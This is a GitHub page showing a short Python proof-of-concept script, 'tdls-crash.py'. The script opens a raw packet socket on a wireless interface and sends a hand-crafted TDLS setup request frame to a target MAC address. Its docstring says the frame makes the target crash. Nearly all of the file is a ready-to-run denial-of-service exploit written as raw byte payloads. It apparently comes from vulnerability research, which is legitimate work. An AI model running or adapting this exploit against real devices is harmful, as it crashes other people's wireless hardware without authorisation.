-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathtdls-crash.py
executable file
·44 lines (34 loc) · 1.74 KB
/
tdls-crash.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python
"""
This script inject a TDLS setup request packet, which make the target crash.
"""
import socket
if __name__ == "__main__":
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
s.bind(("wlp1s0", 0))
# target mac address
dst_addr = b"\x44\x55\x66\x77\x88\x99"
# source mac address
src_addr = b"\xaa\xbb\xcc\xdd\xee\xff"
ieee_type = b"\x89\x0d"
discovery_request = (b"\x02\x0c\x0a\x01\x65\x12\xb8\xd9\x4d\xf7\x15\xfe\xec\x10"
b"\x7b\xe4\x73\x63" + dst_addr + "\xdd\x14\x00\xa0\xc6\x00"
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
setup_request = (b"\x02\x0c" \
b"\x00\x01\x31\x11\x01\x08\x02\x04\x0b\x16\x0c\x12\x18\x24\x32\x04" \
b"\x30\x48\x60\x6c\x7f\x05\x00\x00\x00\x00\xa0\x2d\x1a\x6f\x01\x03" \
b"\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x65\x12\xb8\xd9\x4d\xf7\x15\xff\xec" \
b"\x10\x7b\xe4\x73\x63" + dst_addr + "\xdd\x07\x00\x50\xf2" \
b"\x02\x00\x01\x0f\xc5\x02\x02\xc0\xbf\x0c\x32\x41\x80\x33\xfe\xff" \
b"\x86\x01\xfe\xff\x86\x01\x30\x14\x01\x00\x00\x0f\xac\x07\x01\x00" \
b"\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x07\x0c\x02\x37\x52\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\xe1\xf9\xa0\xd8\x9f\x63\x6b\x3f\x97\x82\x58\x5f\x3e\x2a\xeb\xf7" \
b"\x19\x2a\x63\xff\x9c\x7c\x5a\x99\xd1\xbe\x05\xe8\x5f\x6a\x06\x67" \
b"\x38\x05\x02\xc0\xa8\x00\x00")
#s.send(dst_addr + src_addr + ieee_type + discovery_request)
s.send(dst_addr + src_addr + ieee_type + setup_request)
print("done")